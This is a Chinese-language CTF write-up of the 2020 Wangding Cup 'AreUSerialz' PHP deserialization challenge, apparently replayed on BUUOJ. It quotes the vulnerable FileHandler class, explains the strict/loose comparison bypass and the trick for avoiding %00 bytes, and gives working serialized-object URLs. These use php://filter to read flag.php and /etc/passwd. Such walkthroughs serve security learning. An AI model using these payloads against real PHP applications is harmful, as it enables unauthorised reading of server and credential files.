[網鼎杯 2020 青龍組]AreUSerialz
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
PHP反序列化漏洞,比賽的時候做出來了,在buuoj上再復現記錄一下。
查看代碼可以看出來,GET方式傳入序列化的str字符串,str字符串中每一個字符的ASCII范圍在32到125之間,然后對其反序列化。
在反序列化的過程中,調用__destruct析構方法
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
如果op==="2",將其賦為"1",同時content賦為空,進入process函數,需要注意到的地方是,這里op與"2"比較的時候是強類型比較
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
進入process函數后,如果op=="1",則進入write函數,若op=="2",則進入read函數,否則輸出報錯,可以看出來這里op與字符串的比較變成了弱類型比較==。
所以我們只要令op=2,這里的2是整數int。當op=2時,op==="2"為false,op=="2"為true,接着進入read函數
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
filename是我們可以控制的,接着使用file_get_contents函數讀取文件,我們此處借助php://filter偽協議讀取文件,獲取到文件后使用output函數輸出
private function output($s) { echo "[Result]: <br>"; echo $s; }
整個利用思路就很明顯了,還有一個需要注意的地方是,$op,$filename,$content三個變量權限都是protected,而protected權限的變量在序列化的時會有%00*%00字符,%00字符的ASCII碼為0,就無法通過上面的is_valid函數校驗。
<?php class FileHandler { protected $op=2; protected $filename="php://filter/read=convert.base64-encode/resource=flag.php"; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; // $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; // $this->process(); } } $A=new FileHandler(); $B=serialize($A); echo $B;
運行之后,這三個箭頭指向的地方字符顯示不正確的地方就是%00字符
在這里有幾種繞過的方式,簡單的一種是:php7.1+版本對屬性類型不敏感,本地序列化的時候將屬性改為public進行繞過即可
即:
public $op=2; public $filename="php://filter/read=convert.base64-encode/resource=flag.php"; public $content;
現在得到的結果就沒有%00字符了
buuoj平台復現的話使用上面這個payload就已經可以讀取flag了:
http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
比賽的時候還有相對路徑和絕對路徑的問題,需要拿到絕對路徑才能讀取flag
可以先嘗試讀取/etc/passwd檢驗自己的payload是否正確,然后再讀取服務器上的配置文件,猜出flag.php所在的絕對路徑,再將其讀取。
http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:60:%22php://filter/read=convert.base64-encode/resource=/etc/passwd%22;s:7:%22content%22;N;}
下面這個payload是比賽的時候用的,buuoj上環境路徑不一樣。
http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:67:%22php://filter/read=convert.base64-encode/resource=/web/html/flag.php%22;s:7:%22content%22;N;}
以上。